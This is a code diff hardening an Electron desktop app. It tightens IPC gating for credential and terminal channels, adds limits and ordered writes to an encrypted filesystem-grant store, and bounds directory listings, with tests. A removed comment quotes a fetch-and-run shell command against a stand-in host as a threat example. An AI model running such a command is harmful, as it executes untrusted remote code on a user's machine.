@@ -1374,6 +1378,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'browser-credentials:reveal': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
needsUserActivation: true,
denied: null,
handler: (id) => (typeof id === 'string' ? revealCredential(id) : null),
@@ -1381,6 +1386,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'browser-credentials:copy': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
needsUserActivation: true,
denied: false,
handler: (id) => (typeof id === 'string' ? copyCredential(id) : false),
@@ -1388,6 +1394,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'browser-credentials:forget': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
needsUserActivation: true,
denied: [],
handler: (id) => (typeof id === 'string' ? forgetCredential(id) : listCredentials()),
@@ -1395,6 +1402,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'browser-credentials:forget-all': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
needsUserActivation: true,
denied: [],
handler: () => forgetAllCredentials(),
@@ -1554,10 +1562,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
requires: 'terminal',
passSender: true,
denied: false,
// The bytes come from the clipboard here, not from the caller, so this
// does not need the write gate: a compromised renderer can only replay
// what the user already copied. It still needs a real gesture, because
// the legitimate caller is a Paste click or ⌘V.
// Paste is the sole interactive operation whose bytes do not originate
// in the renderer. The shell reads the clipboard itself after a fresh
// click/shortcut and still requires visible, focused active-tab
// ownership below.
needsUserActivation: true,
handler: (sender, terminalId, rawScope) => {
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
@@ -1567,8 +1575,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) {
return 'too-large'
}
writeTerminalText(deps.terminal, scope, terminalId, text)
return true
return writeTerminalText(deps.terminal, scope, terminalId, text, sender as WebContents)
},
},
'terminal:scrollback': {
@@ -1659,10 +1666,19 @@ export function registerIpcHandlers(deps: IpcDeps): void {
kind: 'invoke',
gate: 'app-origin',
requires: 'terminal',
passSender: true,
denied: false,
handler: (rawScope) => {
handler: (sender, rawScope) => {
const scope = parseDesktopScope(rawScope)
if (!scope || !isPendingDesktopScopeId(scope)) return false
const contents = sender as WebContents
if (
!scope ||
!isPendingDesktopScopeId(scope) ||
!terminalPendingScopesBySender.get(contents)?.has(scope)
) {
return false
}
consumePendingScope(terminalPendingScopesBySender, contents, scope)
deps.terminal.disposeScope(scope)
return true
},
@@ -1671,10 +1687,18 @@ export function registerIpcHandlers(deps: IpcDeps): void {
kind: 'invoke',
gate: 'app-origin',
requires: 'terminal',
passSender: true,
denied: false,
handler: (rawScope) => {
handler: (sender, rawScope) => {
const scope = parseDesktopScope(rawScope)
if (!scope || isPendingDesktopScopeId(scope)) return false
const contents = sender as WebContents
if (
!scope ||
isPendingDesktopScopeId(scope) ||
terminalScopeBySender.get(contents) !== scope
) {
return false
}
const suspended = deps.terminal.suspendScope(scope)
if (suspended) {
deps.scopeEvents.sendTerminal(scope, 'terminal:scope-suspended', scope)
@@ -1737,13 +1761,15 @@ export function registerIpcHandlers(deps: IpcDeps): void {
gate: 'app-origin',
requires: 'terminal',
passSender: true,
needsUserActivation: true,
denied: { tabs: [], activeTerminalId: null },
handler: (sender, terminalId, rawScope) => {
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
const contents = sender as WebContents
const scope = activeRendererScope(terminalScopeBySender, contents, rawScope)
if (!scope) return { tabs: [], activeTerminalId: null }
const tabs =
typeof terminalId === 'string'
? deps.terminal.closeTerminal(scope, terminalId)
? deps.terminal.closeUserTerminal(scope, terminalId, contents)
: deps.terminal.getTabs(scope)
return { ...tabs, scopeId: scope }
},
@@ -1756,20 +1782,15 @@ export function registerIpcHandlers(deps: IpcDeps): void {
handler: (sender, terminalId, data, rawScope) => {
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return
if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return
writeTerminalText(deps.terminal, scope, terminalId, data)
if (data.length === 0 || data.length > MAX_TERMINAL_WRITE_CHARS) return
if (data.length <= MAX_PTY_REPLY_CHARS && PTY_REPLY.test(data)) {
writeTerminalText(deps.terminal, scope, terminalId, data)
return
}
const contents = sender as WebContents
if (!hasRecentDeliberateInput(contents)) return
writeTerminalText(deps.terminal, scope, terminalId, data, contents)
},
// An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
// Panel focus is deliberately not used — `terminal:focused` is a
// renderer-asserted claim the same attacker can set.
//
// MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's
// line buffer, where the user's own next Enter submits it — visible on
// screen, but not prevented. Closing that needs the interactive path off
// the renderer surface entirely (main writing the keystrokes it already
// observes) or the terminal in its own WebContents, neither of which is a
// gate change. Tracked as follow-up.
payloadNeedsDeliberateInput: true,
},
'terminal:resize': {
kind: 'send',
@@ -1787,13 +1808,6 @@ export function registerIpcHandlers(deps: IpcDeps): void {
deps.terminal.resize(scope, terminalId, toCellCount(cols, 1), toCellCount(rows, 1))
},
},
'terminal:dispose': {
kind: 'send',
gate: 'app-origin',
deviationReason:
'tearing the surface down must survive the surface being off, or a terminal left running when the feature was disabled could never be reaped',
handler: () => deps.terminal.dispose(),
},
'offline:retry': {
kind: 'send',
gate: 'local-page',
@@ -1831,20 +1845,38 @@ export function registerIpcHandlers(deps: IpcDeps): void {
if (gate === 'any') return true
if (gate === 'app-origin') return isAppOriginSender(event, deps.appOrigin())
if (gate === 'browser-page') return isAgentWebContents(event.sender)
return isLocalPageSender(event)
return isLocalPageSender(event, deps.localPagePaths)
}
const featureAllowed = (feature: ChannelFeature | undefined): boolean => {
if (!feature) return true
if (!deps.accountDataAvailable()) return false
const preferences = deps.settings.getPreferences()
return feature === 'browser' ? preferences.browserEnabled : preferences.terminalEnabled
}
const accountDataAllowed = (spec: ChannelSpec): boolean =>
spec.requiresAccountData !== true || deps.accountDataAvailable()
const requiresUserActivation = (
requirement: ChannelSpecBase['needsUserActivation'],
args: readonly unknown[]
): boolean => (typeof requirement === 'function' ? requirement(args) : requirement === true)
for (const [channel, spec] of Object.entries(channels)) {
if (spec.kind === 'invoke') {
ipcMain.handle(channel, async (event, ...args) => {
if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return spec.denied
if (spec.needsUserActivation && !senderHasUserGesture(event)) {
if (
!senderAllowed(event, spec.gate) ||
!featureAllowed(spec.requires) ||
!accountDataAllowed(spec)
) {
return spec.denied
}
if (
requiresUserActivation(spec.needsUserActivation, args) &&
!senderHasUserGesture(event)
) {
return spec.denied
}
let handlerArgs = args
@@ -1857,6 +1889,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
const authorization = await fetchDesktopToolAuthorization(event, deps, args[0])
if (
!authorization ||
!requestedScope ||
authorization.chatId !== requestedScope ||
typeof requestedTool !== 'string' ||
authorization.toolName !== requestedTool ||
!isBrowserToolName(authorization.toolName)
@@ -1921,11 +1955,16 @@ export function registerIpcHandlers(deps: IpcDeps): void {
})
} else {
ipcMain.on(channel, (event, ...args) => {
if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return
if (
spec.payloadNeedsDeliberateInput &&
needsDeliberateInputForWrite(args) &&
!hasRecentDeliberateInput(event.sender)
!senderAllowed(event, spec.gate) ||
!featureAllowed(spec.requires) ||
!accountDataAllowed(spec)
) {
return
}
if (
requiresUserActivation(spec.needsUserActivation, args) &&
!senderHasUserGesture(event)
) {
return
}
@@ -1,4 +1,4 @@
import { mkdtemp, readFile } from 'node:fs/promises'
import { mkdtemp, readFile, stat, truncate, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { describe, expect, it, vi } from 'vitest'
@@ -42,6 +42,32 @@ describe('createEncryptedLocalFilesystemGrantStore', () => {
await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
})
it('does not let an earlier save recreate the store after a later clear', async () => {
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
const filePath = join(directory, 'grants.json')
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]
await store.load()
const saving = store.save(grants)
const clearing = store.clear()
await Promise.all([saving, clearing])
await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
})
it('applies concurrent mutations in invocation order', async () => {
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
const filePath = join(directory, 'grants.json')
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
const first = [{ id: 'grant-1', name: 'first', rootPath: '/private/first' }]
const second = [{ id: 'grant-2', name: 'second', rootPath: '/private/second' }]
await Promise.all([store.save(first), store.clear(), store.save(second)])
await expect(store.load()).resolves.toEqual(second)
})
it('does not write a plaintext fallback when OS encryption is unavailable', async () => {
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
const filePath = join(directory, 'grants.json')
@@ -52,4 +78,68 @@ describe('createEncryptedLocalFilesystemGrantStore', () => {
).resolves.toBe(false)
await expect(readFile(filePath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' })
})
it('preserves an invalid existing store until an explicit clear', async () => {
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
const filePath = join(directory, 'grants.json')
const original = '{not valid json'
await writeFile(filePath, original)
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
const grants = [{ id: 'grant-1', name: 'project', rootPath: '/private/project' }]
await expect(store.load()).resolves.toEqual([])
await expect(store.save(grants)).resolves.toBe(false)
await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
await store.clear()
await expect(store.save(grants)).resolves.toBe(true)
await expect(store.load()).resolves.toEqual(grants)
})
it('does not replace a store written by a foreign version', async () => {
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
const filePath = join(directory, 'grants.json')
const original = JSON.stringify({ version: 99, ciphertext: 'future' })
await writeFile(filePath, original)
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
await expect(store.save([])).resolves.toBe(false)
await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
})
it('preserves an oversized grant store until explicit clear', async () => {
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
const filePath = join(directory, 'grants.json')
await writeFile(filePath, '')
await truncate(filePath, 4 * 1024 * 1024 + 1)
const store = createEncryptedLocalFilesystemGrantStore(filePath, testEncryption())
await expect(store.load()).resolves.toEqual([])
await expect(
store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }])
).resolves.toBe(false)
expect((await stat(filePath)).size).toBe(4 * 1024 * 1024 + 1)
await store.clear()
await expect(
store.save([{ id: 'grant-1', name: 'project', rootPath: '/private/project' }])
).resolves.toBe(true)
})
it('blocks stored grants with fields outside the persistence contract', async () => {
const directory = await mkdtemp(join(tmpdir(), 'sim-localfs-store-'))
const filePath = join(directory, 'grants.json')
const encryption = testEncryption()
const payload = [{ id: 'grant-1', name: 'project', rootPath: `/${'x'.repeat(4_096)}` }]
const original = JSON.stringify({
version: 1,
ciphertext: encryption.encryptString(JSON.stringify(payload)).toString('base64'),
})
await writeFile(filePath, original)
const store = createEncryptedLocalFilesystemGrantStore(filePath, encryption)
await expect(store.load()).resolves.toEqual([])
await expect(store.save([])).resolves.toBe(false)
await expect(readFile(filePath, 'utf8')).resolves.toBe(original)
})
})
@@ -1,8 +1,21 @@
import { readFile } from 'node:fs/promises'
import { createLogger } from '@sim/logger'
import { safeStorage } from 'electron'
import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
import {
FileResourceLimitError,
readFileWithinLimit,
removeFileIfPresent,
writeJsonFileAtomically,
} from '@/main/atomic-json-file'
const STORE_VERSION = 1
const MAX_GRANT_STORE_BYTES = 4 * 1024 * 1024
const MAX_GRANT_PAYLOAD_BYTES = 5 * 512 * 1024
const MAX_PERSISTED_GRANTS = 256
const MAX_GRANT_ID_LENGTH = 128
const MAX_GRANT_NAME_LENGTH = 512
const MAX_GRANT_PATH_LENGTH = 4_096
const MAX_GRANT_BOOKMARK_LENGTH = 256 * 1024
const logger = createLogger('LocalFilesystemGrantStore')
export interface PersistedLocalFilesystemGrant {
id: string
@@ -33,9 +46,19 @@ function isPersistedGrant(value: unknown): value is PersistedLocalFilesystemGran
const grant = value as Record<string, unknown>
return (
typeof grant.id === 'string' &&
grant.id.length > 0 &&
grant.id.length <= MAX_GRANT_ID_LENGTH &&
typeof grant.name === 'string' &&
grant.name.length > 0 &&
grant.name.length <= MAX_GRANT_NAME_LENGTH &&
typeof grant.rootPath === 'string' &&
(grant.bookmark === undefined || typeof grant.bookmark === 'string')
grant.rootPath.length > 0 &&
grant.rootPath.length <= MAX_GRANT_PATH_LENGTH &&
!grant.rootPath.includes('\0') &&
(grant.bookmark === undefined ||
(typeof grant.bookmark === 'string' &&
grant.bookmark.length > 0 &&
grant.bookmark.length <= MAX_GRANT_BOOKMARK_LENGTH))
)
}
@@ -62,33 +85,93 @@ export function createEncryptedLocalFilesystemGrantStore(
filePath: string,
encryption: EncryptionProvider = safeStorage
): LocalFilesystemGrantStore {
return {
async load() {
if (!encryptionAvailable(encryption)) return []
try {
const raw = JSON.parse(await readFile(filePath, 'utf8')) as Partial<EncryptedGrantEnvelope>
if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') return []
const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
const parsed = JSON.parse(decrypted) as unknown
return Array.isArray(parsed) ? parsed.filter(isPersistedGrant) : []
} catch {
let state: 'unknown' | 'writable' | 'blocked' = 'unknown'
let mutationTail = Promise.resolve()
const enqueueMutation = <T>(operation: () => Promise<T>): Promise<T> => {
const result = mutationTail.then(operation)
mutationTail = result.then(
() => undefined,
() => undefined
)
return result
}
const blockPersistence = (
reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
) => {
if (state !== 'blocked') {
logger.warn('Local filesystem grant persistence is unavailable', { reason })
}
state = 'blocked'
}
const load = async (): Promise<PersistedLocalFilesystemGrant[]> => {
if (!encryptionAvailable(encryption) || state === 'blocked') return []
try {
const raw = JSON.parse(
(await readFileWithinLimit(filePath, MAX_GRANT_STORE_BYTES)).toString('utf8')
) as Partial<EncryptedGrantEnvelope>
if (raw.version !== STORE_VERSION || typeof raw.ciphertext !== 'string') {
blockPersistence('invalid-envelope')
return []
}
},
async save(grants) {
if (!encryptionAvailable(encryption)) return false
const encrypted = encryption.encryptString(JSON.stringify(grants))
const envelope: EncryptedGrantEnvelope = {
version: STORE_VERSION,
ciphertext: encrypted.toString('base64'),
const decrypted = encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
if (Buffer.byteLength(decrypted, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) {
blockPersistence('resource-limit')
return []
}
await writeJsonFileAtomically(filePath, envelope)
return true
const parsed = JSON.parse(decrypted) as unknown
if (
!Array.isArray(parsed) ||
parsed.length > MAX_PERSISTED_GRANTS ||
!parsed.every(isPersistedGrant)
) {
blockPersistence('invalid-payload')
return []
}
state = 'writable'
return parsed
} catch (error) {
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
state = 'writable'
return []
}
if (error instanceof FileResourceLimitError) {
blockPersistence('resource-limit')
return []
}
blockPersistence('read-failed')
return []
}
}
return {
load,
save(grants) {
return enqueueMutation(async () => {
if (!encryptionAvailable(encryption)) return false
if (state === 'unknown') await load()
if (state === 'blocked') return false
if (grants.length > MAX_PERSISTED_GRANTS || !grants.every(isPersistedGrant)) return false
const payload = JSON.stringify(grants)
if (Buffer.byteLength(payload, 'utf8') > MAX_GRANT_PAYLOAD_BYTES) return false
const encrypted = encryption.encryptString(payload)
const envelope: EncryptedGrantEnvelope = {
version: STORE_VERSION,
ciphertext: encrypted.toString('base64'),
}
await writeJsonFileAtomically(filePath, envelope)
return true
})
},
async clear() {
await removeFileIfPresent(filePath)
clear() {
return enqueueMutation(async () => {
await removeFileIfPresent(filePath)
state = 'writable'
})
},
}
}
@@ -12,6 +12,7 @@ import {
DEFAULT_READ_LINES,
} from '@sim/desktop-bridge/local-filesystem-limits'
import { shell } from 'electron'
import { advanceAccountDataGeneration } from '@/main/account-data-generation'
import { LocalFilesystemService } from '@/main/local-filesystem'
import type {
LocalFilesystemGrantStore,
@@ -151,6 +152,74 @@ describe('LocalFilesystemService', () => {
expect(statData).toMatchObject({ name: 'index.ts', kind: 'file' })
})
it('returns a bounded, explicitly truncated directory listing', async () => {
const generatedNames = Array.from(
{ length: 510 },
(_, index) => `generated-${String(509 - index).padStart(3, '0')}.txt`
)
await Promise.all(generatedNames.map((name) => writeFile(join(root, name), '')))
const granted = await mount(service)
const listing = dataOf(await service.handle({ operation: 'list', uri: granted.uri }))
const entries = 'entries' in listing ? listing.entries : []
expect(listing).toMatchObject({ truncated: true })
expect(entries).toHaveLength(500)
expect(entries.map((entry) => entry.name)).toEqual(
['README.md', 'src', ...generatedNames]
.sort((left, right) => left.localeCompare(right))
.slice(0, 500)
)
})
it('returns the same capped glob membership regardless of directory enumeration order', async () => {
const generatedNames = Array.from(
{ length: 501 },
(_, index) => `glob-${String(500 - index).padStart(3, '0')}.match`
)
for (const name of generatedNames) {
await writeFile(join(root, name), '')
}
const granted = await mount(service)
const result = dataOf(
await service.handle({ operation: 'glob', uri: granted.uri, pattern: '*.match' })
)
const entries = 'entries' in result ? result.entries : []
expect(result).toMatchObject({ truncated: true })
expect(entries.map((entry) => entry.name)).toEqual(generatedNames.sort().slice(0, 500))
})
it('returns the same capped grep membership regardless of directory enumeration order', async () => {
const generatedNames = Array.from(
{ length: 5 },
(_, index) => `grep-${String(4 - index).padStart(3, '0')}.txt`
)
for (const name of generatedNames) {
await writeFile(join(root, name), 'deterministic match\n')
}
const granted = await mount(service)
const result = dataOf(
await service.handle({
operation: 'grep',
uri: granted.uri,
pattern: 'deterministic match',
outputMode: 'files_with_matches',
maxResults: 3,
})
)
expect(result).toEqual({
files: generatedNames
.sort()
.slice(0, 3)
.map((name) => `${granted.uri}${name}`),
truncated: true,
})
})
it('supports the normal VFS grep regex and output modes', async () => {
const granted = await mount(service)
@@ -456,6 +525,102 @@ describe('LocalFilesystemService', () => {
expect(response).toMatchObject({ ok: false, code: 'MOUNT_NOT_FOUND' })
})
it('does not commit a directory chosen after account teardown starts', async () => {
const grantStore = new MemoryGrantStore()
let resolveSelection: ((selection: string) => void) | undefined
const selection = new Promise<string>((resolve) => {
resolveSelection = resolve
})
const pendingService = new LocalFilesystemService({
chooseDirectory: () => selection,
grantStore,
})
const pendingMount = pendingService.handle({ operation: 'mount_directory' })
await pendingService.forgetAll()
resolveSelection?.(root)
await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' })
expect(grantStore.grants).toEqual([])
expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({
mounts: [],
})
})
it('waits for an admitted grant update before forgetAll clears persistence', async () => {
let delaySave = false
let releaseSave: (() => void) | undefined
let signalSaveStarted: (() => void) | undefined
const saveStarted = new Promise<void>((resolve) => {
signalSaveStarted = resolve
})
const grantStore = new MemoryGrantStore()
const originalSave = grantStore.save.bind(grantStore)
grantStore.save = async (grants) => {
if (delaySave) {
await new Promise<void>((resolve) => {
releaseSave = resolve
signalSaveStarted?.()
})
}
return originalSave(grants)
}
const selections = [root, join(root, 'src')]
const pendingService = new LocalFilesystemService({
chooseDirectory: async () => selections.shift() ?? null,
grantStore,
})
const first = await mount(pendingService)
await mount(pendingService)
delaySave = true
const forgettingMount = pendingService.handle({
operation: 'forget_mount',
uri: first.uri,
})
await saveStarted
const forgettingAll = pendingService.forgetAll()
releaseSave?.()
await Promise.all([forgettingMount, forgettingAll])
expect(grantStore.grants).toEqual([])
})
it('releases security-scoped access once when persistence finishes after generation expiry', async () => {
let resolveSave: ((remembered: boolean) => void) | undefined
let signalSaveStarted: (() => void) | undefined
const saveStarted = new Promise<void>((resolve) => {
signalSaveStarted = resolve
})
const grantStore: LocalFilesystemGrantStore = {
load: async () => [],
save: async () => {
signalSaveStarted?.()
return new Promise<boolean>((resolve) => {
resolveSave = resolve
})
},
clear: vi.fn(async () => {}),
}
const stopAccessing = vi.fn()
const pendingService = new LocalFilesystemService({
chooseDirectory: async () => ({ path: root, bookmark: 'bookmark' }),
grantStore,
startAccessingBookmark: () => stopAccessing,
})
const pendingMount = pendingService.handle({ operation: 'mount_directory' })
await saveStarted
advanceAccountDataGeneration()
resolveSave?.(true)
await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' })
expect(stopAccessing).toHaveBeenCalledOnce()
expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({
mounts: [],
})
})
it('restores an encrypted grant with the same opaque URI after restart', async () => {
const grantStore = new MemoryGrantStore()
const firstStopAccessing = vi.fn()
+186 -55
View File
@@ -1,4 +1,5 @@
import { lstat, readdir, readFile, realpath, stat } from 'node:fs/promises'
import type { Dirent } from 'node:fs'
import { lstat, opendir, readFile, realpath, stat } from 'node:fs/promises'
import { basename, isAbsolute, relative, resolve, sep } from 'node:path'
import type {
LocalFilesystemData,
@@ -21,6 +22,13 @@ import { isRecordLike } from '@sim/utils/object'
import { app, dialog, shell } from 'electron'
import micromatch from 'micromatch'
import safeRegex from 'safe-regex2'
import {
advanceAccountDataGeneration,
captureAccountDataGeneration,
isAccountDataGenerationCurrent,
runAccountDataMutation,
waitForAccountDataMutations,
} from '@/main/account-data-generation'
import type {
LocalFilesystemGrantStore,
PersistedLocalFilesystemGrant,
@@ -28,6 +36,7 @@ import type {
const MAX_URI_LENGTH = 4096
const MAX_LIST_ENTRIES = 500
const LIST_METADATA_BATCH_SIZE = 16
const MAX_SCAN_ENTRIES = 10_000
const MAX_SCAN_DEPTH = 50
const MAX_GLOB_RESULTS = 500
@@ -256,6 +265,69 @@ function throwIfAborted(signal?: AbortSignal): void {
}
}
function compareDirectoryEntries(left: Dirent, right: Dirent): number {
return left.name.localeCompare(right.name)
}
function addToBoundedDirectoryHeap(heap: Dirent[], entry: Dirent, limit: number): void {
if (heap.length < limit) {
heap.push(entry)
let index = heap.length - 1
while (index > 0) {
const parentIndex = Math.floor((index - 1) / 2)
if (compareDirectoryEntries(heap[parentIndex], heap[index]) >= 0) break
const parent = heap[parentIndex]
heap[parentIndex] = heap[index]
heap[index] = parent
index = parentIndex
}
return
}
if (compareDirectoryEntries(entry, heap[0]) >= 0) return
heap[0] = entry
let index = 0
while (true) {
const leftIndex = index * 2 + 1
const rightIndex = leftIndex + 1
let largestIndex = index
if (
leftIndex < heap.length &&
compareDirectoryEntries(heap[leftIndex], heap[largestIndex]) > 0
) {
largestIndex = leftIndex
}
if (
rightIndex < heap.length &&
compareDirectoryEntries(heap[rightIndex], heap[largestIndex]) > 0
) {
largestIndex = rightIndex
}
if (largestIndex === index) return
const current = heap[index]
heap[index] = heap[largestIndex]
heap[largestIndex] = current
index = largestIndex
}
}
async function selectDirectoryEntries(
path: string,
limit: number,
signal?: AbortSignal
): Promise<{ entries: Dirent[]; truncated: boolean }> {
const entries: Dirent[] = []
let seen = 0
const directory = await opendir(path)
for await (const entry of directory) {
throwIfAborted(signal)
seen++
addToBoundedDirectoryHeap(entries, entry, limit)
}
entries.sort(compareDirectoryEntries)
return { entries, truncated: seen > entries.length }
}
export class LocalFilesystemService {
private readonly mounts = new Map<string, GrantedMount>()
private readonly activeRequests = new Map<string, AbortController>()
@@ -314,7 +386,9 @@ export class LocalFilesystemService {
/** Revoke every remembered grant, used on sign-out and origin changes. */
async forgetAll(): Promise<void> {
advanceAccountDataGeneration()
this.close()
await waitForAccountDataMutations()
await this.grantStore?.clear()
}
@@ -534,17 +608,32 @@ export class LocalFilesystemService {
}
private async mountDirectory(): Promise<LocalFilesystemData> {
const generation = captureAccountDataGeneration()
const selection = await this.chooseDirectory()
if (!selection) return { mount: null, cancelled: true }
if (!isAccountDataGenerationCurrent(generation)) {
throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
}
const selected = typeof selection === 'string' ? { path: selection } : selection
const stopAccessing = selected.bookmark
? this.startAccessingBookmark(selected.bookmark)
: undefined
let accessReleased = false
const releaseAccess = stopAccessing
? () => {
if (accessReleased) return
accessReleased = true
stopAccessing()
}
: undefined
try {
const rootPath = await realpath(selected.path)
const rootStat = await stat(rootPath)
if (!isAccountDataGenerationCurrent(generation)) {
throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
}
if (!rootStat.isDirectory()) {
throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The selected item is not a directory.')
}
@@ -553,7 +642,7 @@ export class LocalFilesystemService {
const id = existing?.id ?? generateId()
const bookmark = selected.bookmark ?? existing?.bookmark
const nextStopAccessing = selected.bookmark
? stopAccessing
? releaseAccess
: (existing?.stopAccessing ??
(bookmark ? this.startAccessingBookmark(bookmark) : undefined))
if (selected.bookmark) {
@@ -569,10 +658,21 @@ export class LocalFilesystemService {
...(nextStopAccessing ? { stopAccessing: nextStopAccessing } : {}),
}
this.mounts.set(id, mount)
mount.remembered = await this.persistMounts()
try {
mount.remembered = await runAccountDataMutation(generation, () => this.persistMounts())
} catch (error) {
this.mounts.delete(id)
throw error
}
if (!isAccountDataGenerationCurrent(generation)) {
mount.stopAccessing?.()
this.mounts.delete(id)
await this.grantStore?.clear()
throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
}
return { mount: this.publicMount(mount), cancelled: false }
} catch (error) {
stopAccessing?.()
releaseAccess?.()
throw error
}
}
@@ -592,7 +692,9 @@ export class LocalFilesystemService {
private async restoreRememberedMounts(): Promise<void> {
if (!this.grantStore) return
const generation = captureAccountDataGeneration()
const grants = await this.grantStore.load()
if (!isAccountDataGenerationCurrent(generation)) return
let skipped = false
for (const grant of grants) {
@@ -604,6 +706,10 @@ export class LocalFilesystemService {
try {
const rootPath = await realpath(grant.rootPath)
const rootStat = await stat(rootPath)
if (!isAccountDataGenerationCurrent(generation)) {
stopAccessing?.()
return
}
if (!rootStat.isDirectory()) {
stopAccessing?.()
skipped = true
@@ -625,7 +731,7 @@ export class LocalFilesystemService {
}
if (skipped) {
await this.persistMounts()
await runAccountDataMutation(generation, () => this.persistMounts())
}
}
@@ -658,19 +764,22 @@ export class LocalFilesystemService {
}
private async forgetMount(uri: string): Promise<LocalFilesystemData> {
const generation = captureAccountDataGeneration()
const { mount } = this.parseUri(uri)
mount.stopAccessing?.()
this.mounts.delete(mount.id)
const persisted = await this.persistMounts()
if (!persisted && this.grantStore) {
// Fail closed: if an updated encrypted grant set cannot be written,
// remove the store so a revoked mount cannot return after restart.
await this.grantStore.clear()
for (const remaining of this.mounts.values()) {
remaining.remembered = false
await runAccountDataMutation(generation, async () => {
const persisted = await this.persistMounts()
if (!persisted && this.grantStore) {
// Fail closed: if an updated encrypted grant set cannot be written,
// remove the store so a revoked mount cannot return after restart.
await this.grantStore.clear()
for (const remaining of this.mounts.values()) {
remaining.remembered = false
}
}
}
})
return { forgotten: true }
}
@@ -780,31 +889,37 @@ export class LocalFilesystemService {
throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The localfs URI is not a directory.')
}
const directoryEntries = await readdir(resolvedPath.realPath, { withFileTypes: true })
directoryEntries.sort((a, b) => a.name.localeCompare(b.name))
const truncated = directoryEntries.length > MAX_LIST_ENTRIES
// `allSettled`, so one entry disappearing mid-read does not fail the whole
// listing. Build output, downloads and caches churn constantly, and a
// single ENOENT should drop that row rather than the directory.
const settled = await Promise.allSettled(
directoryEntries.slice(0, MAX_LIST_ENTRIES).map(async (directoryEntry) => {
const childRelativePath = [resolvedPath.relativePath, directoryEntry.name]
.filter(Boolean)
.join('/')
const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name))
const item: LocalFilesystemEntry = {
name: directoryEntry.name,
uri: localUri(resolvedPath.mount.id, childRelativePath),
kind: entryKind(directoryEntry),
size: metadata.size,
modifiedAt: metadata.mtime.toISOString(),
}
return item
})
)
const entries = settled.flatMap((result) =>
result.status === 'fulfilled' ? [result.value] : []
const { entries: directoryEntries, truncated } = await selectDirectoryEntries(
resolvedPath.realPath,
MAX_LIST_ENTRIES
)
const entries: LocalFilesystemEntry[] = []
for (let index = 0; index < directoryEntries.length; index += LIST_METADATA_BATCH_SIZE) {
const batch = directoryEntries.slice(index, index + LIST_METADATA_BATCH_SIZE)
const items = await Promise.all(
batch.map(async (directoryEntry): Promise<LocalFilesystemEntry | null> => {
try {
const childRelativePath = [resolvedPath.relativePath, directoryEntry.name]
.filter(Boolean)
.join('/')
const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name))
return {
name: directoryEntry.name,
uri: localUri(resolvedPath.mount.id, childRelativePath),
kind: entryKind(directoryEntry),
size: metadata.size,
modifiedAt: metadata.mtime.toISOString(),
}
} catch {
return null
}
})
)
for (const item of items) {
if (item) entries.push(item)
}
}
return { entries, truncated }
}
@@ -835,16 +950,16 @@ export class LocalFilesystemService {
throwIfAborted(signal)
const current = stack.pop()
if (!current) break
const children = await readdir(current.path, { withFileTypes: true })
children.sort((a, b) => b.name.localeCompare(a.name))
for (const child of children) {
const remaining = MAX_SCAN_ENTRIES - scanned
if (remaining <= 0) {
truncated = true
break
}
const selection = await selectDirectoryEntries(current.path, remaining, signal)
scanned += selection.entries.length
